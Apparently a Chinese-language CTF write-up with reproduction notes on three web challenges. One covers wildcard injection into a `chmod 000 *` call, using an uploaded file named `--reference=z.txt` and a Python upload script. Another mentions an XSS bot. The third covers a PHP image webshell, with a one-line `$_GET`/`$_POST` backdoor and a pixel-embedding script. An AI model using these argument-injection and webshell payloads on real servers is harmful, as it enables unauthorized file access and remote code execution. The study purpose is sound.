submission 复现 | SV
考点居然是通配符注入
写一下之前错误的思路吧:源码审计
- 这里其实抓住重点就是一个权限问题,/uploads/和/是可以访问的
- 思路1(不可行): 将文件上传到非uploads/下,chmod时不会影响到,但是txt和basename难搞
- 思路2(不可行): 将文件move到/uploads/下的一小段时间内还没有chmod,可能可以竞争,不行,而且有txt无法执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
if (isset($_FILES['file'])) {
$uploadOk = 1;
$target_dir = "/var/www/html/uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
// 不能已经存在,phar不了,不可控
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}
if ($_FILES["file"]["size"] > 50000) {
echo "Sorry, your file is too large you need to buy Nitro.";
$uploadOk = 0;
}
// txt后缀
if (!str_ends_with($target_file, '.txt')) {
echo "Due to exploit you can only upload files with .txt extensions sorry about this but we got hacked last time so we have to check this from now on.";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
// html转义,防止xss
echo "The file ". htmlspecialchars( basename( $_FILES["file"]["name"])). " has been uploaded.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
// echo "<h1>".$target_file."</h1>";
$old_path = getcwd();
chdir($target_dir);
// make unreadable
shell_exec('chmod 000 *'); // 没有权限wc
chdir($old_path);
}- 这里其实抓住重点就是一个权限问题,/uploads/和/是可以访问的
思路3(from wp)
也是从权限入手:
chmode 000 *
,这里有通配符注入(好像在v1nd哥那里看过),似乎在5/4字符rce里也有过,通配符注入本质时通配符展开的问题这里也不管命令了,本质上是对flag.txt的提权,涉及到了chmod的提权
chmod --help
,发现有一个--reference=RFILE
,可以将RFILE的权限复制到FILE,也就这个可以提权的了- 我们还未赋值前的话,上传的文件是可读的,那么将上传的文件赋值到flag.txt就可以了,注意ascii码要在f后
>--reference=z.txt
,然后>z.txt
,访问即可,执行的命令相当于chmod 000 --reference=z.txt flag.txt z.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23import requests
host="http://localhost:5000"
bp = {
"http": "http://localhost:8080",
}
session = requests.Session()
### 上传文件
path_upload = "/"
file_upload = {
"file": (
### try
# "../\x00.txt", open("kc1zs4.txt", "rb"), "text/plain"
### payload: 要按照顺序
# "--reference=z.txt", "", "text/plain"
"z.txt", "", "text/plain"
)
}
r = session.post(host+path_upload, files=file_upload, timeout=5)
print(r.text)深入了解bash中的通配符展开
在linux中如bash中shell会尝试将其与当前目录下的文件名进行匹配,并将通配符替换为符合模式的所有文件名列表
命令的本质: 一系列参数,可以想象一下java main函数的Strings[] args,这里的通配符展开就是将通配符替换为参数,然后传递给命令
原理: 将文件名作为参数,也就是命令了
1
2
3
4mkdir /tmp/test
cd /tmp/test
>-al
ls * # 执行的是ls -al命令顺序问题
- 对于有’和”引号也是ok的,可以本地先试一下
- 在Bash中,通配符展开(Wildcard Expansion)是按照文件名的字典顺序(lexicographical order,也称为字典序或字母顺序)
- 字典顺序基于字符的ASCII值来决定顺序
常见通配符
通配符 作用 例子 * 匹配零个或多个字符 ls * ? 匹配单个字符 ls ? [abc] 匹配方括号内的任意一个字符 ls [abc] [a-z] 匹配指定范围内的任意一个字符 ls [a-z]
blogdog 复现 | OPEN
- 一眼就应该是不会的样子emm
- 审计一下源码,这里不贴了,有点长
- 留意一下版本信息,可能要打漏洞
- 要打xssbot
- 用gpt描述一下过程
- 用户提交内容:用户提交了一条包含链接的消息,如 Check out this site: [https://example.com].
- 服务器端处理:服务器接收到消息,提取其中的 URL [https://example.com],并调用 xssbot 函数进行检查。
- 访问本地服务器:xssbot 函数首先访问本地服务器主页 [http://localhost:3000/],并在页面上的
#flag
输入框中输入预定义的 FLAG 值。 - 访问目标 URL:然后,xssbot 函数尝试导航到用户提交的目标 URL [https://example.com],并在超时时间内尝试加载该页面。
- 关闭浏览器:无论是否成功加载目标 URL,都会在 TIMEOUT 毫秒后尝试关闭浏览器,释放系统资源。
- 没搞懂,白给了,复现好
kittyconvert 复现 | OPEN
可控的输入有
- 上传的文件名,但是又preg_replaec和basename
- 文件的内容,感觉难以做手脚,数据清洗?
- 应该是要结合这两个方面来处理的
文件名绕过
- 直接上传
.php
- 尝试写入木马
会写入_get_icon_data()的内容,emm看了一下,上传一个图片马应该就可以,在data区(数据部分)进行写入一句话木马
写入数据段
<?$_GET[0]($_POST[1]);?>
- 从网上抄来的脚本,没有打成功,wp里说是又lsb似乎
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'kc1zs4.png');
- 直接上传
复现吧
- 思路是不难的,主要是这里需要对文件格式进行了解才可以进行构造,emm学习一下
总结
- submission
- 通配符注入的思维: 展开,参数与文件名,顺序问题(这题顺序错了也不行,而且如果实战无法重置环境相当于白白浪费了)
- 抓重点的思维和问题分类: 权限问题,提权
- 本来也是有想到从命令入手的,但是只是一念,还是不能快,思路>行动阿,再仔细看一下*知道有**输入(攻击的可能来源于输入)**可能就可以了
- blogdog
- 前端题目,几乎没咋见过,有点意思
- nonce [https://deepinout.com/html/html-questions/398_html_whats_the_purpose_of_the_html_nonce_attribute_for_script_and_style_elements.html]
- purify.min.js
- node项目的项目结构与文件功能
- kittyconvert
- 图片马:一些格式的学习
- conda源问题
- python 重名,还是要package